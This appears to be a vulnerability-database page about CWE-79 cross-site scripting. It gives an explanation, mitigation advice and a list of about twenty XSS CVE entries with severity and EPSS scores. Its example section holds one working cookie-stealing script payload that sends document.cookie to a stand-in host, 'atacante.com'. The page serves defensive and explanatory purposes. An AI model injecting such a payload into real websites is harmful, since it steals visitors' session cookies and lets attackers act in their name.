Fallos del tipo CWE-79

30.316 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-53563MEDIUMA stored cross-site scripting (XSS) vulnerability in Arcadyan Meteor 2 CPE FG360 Firmware ETV2.10 allows attackers to execute arbitrary web EPSS 0.2%CVE-2026-1395MEDIUMGutentools <= 1.1.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Post Slider Block AttributesEPSS 0.2%CVE-2026-65483MEDIUMWordPress HashThemes Demo Importer plugin <= 1.4.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-65538MEDIUMWordPress Machete plugin <= 5.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2024-25837MEDIUMA stored cross-site scripting (XSS) vulnerability in October CMS Bloghub Plugin v1.3.8 and lower allows attackers to execute arbitrary web sEPSS 0.2%CVE-2026-43915MEDIUMCoturn: Stored Cross-Site Scripting (XSS) in web-admin interface via TURN usernameEPSS 0.2%CVE-2026-66706MEDIUMWordPress Subscribe to Comments plugin <= 2.3.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-57935MEDIUMWordPress Bot Block – Stop Spam Referrals in Google Analytics Plugin <= 2.6 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2024-4754MEDIUMStored XSS in Next4Biz's BPMEPSS 0.2%CVE-2025-3130MEDIUMObfuscate - Moderately critical - Cross Site Scripting - SA-CONTRIB-2025-029EPSS 0.2%CVE-2026-2965MEDIUM07FLYCMS/07FLY-CMS/07FlyCRM System Extension edit.html cross site scriptingEPSS 0.2%CVE-2026-106033MEDIUMAnsible: ansible-ui: ansible ui dom xss in /redirect next parameterEPSS 0.2%CVE-2026-65557MEDIUMWordPress Abandoned Cart Lite for WooCommerce plugin <= 6.8.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2023-41922HIGHImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in Kiloview P1/P2 devicesEPSS 0.2%CVE-2025-65187MEDIUMA Stored Cross Site Scripting vulnerability exists in CiviCRM before v6.7 in the Accounting Batches field. An authenticated user can inject EPSS 0.2%CVE-2026-65550MEDIUMWordPress Tabs plugin <= 2.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2024-39595MEDIUM[CVE-2024-39594] Multiple Cross-Site Scripting (XSS) vulnerabilities in SAP Business Warehouse - Business Planning and SimulationEPSS 0.2%CVE-2025-57929MEDIUMWordPress Double the Donation Plugin <= 2.0.0 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2026-33628MEDIUMInvoice Ninja Denylist Bypass may Lead to Stored XSS via Invoice Line ItemsEPSS 0.2%CVE-2025-4957HIGHWordPress ProfileGrid plugin <= 5.9.5.7 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%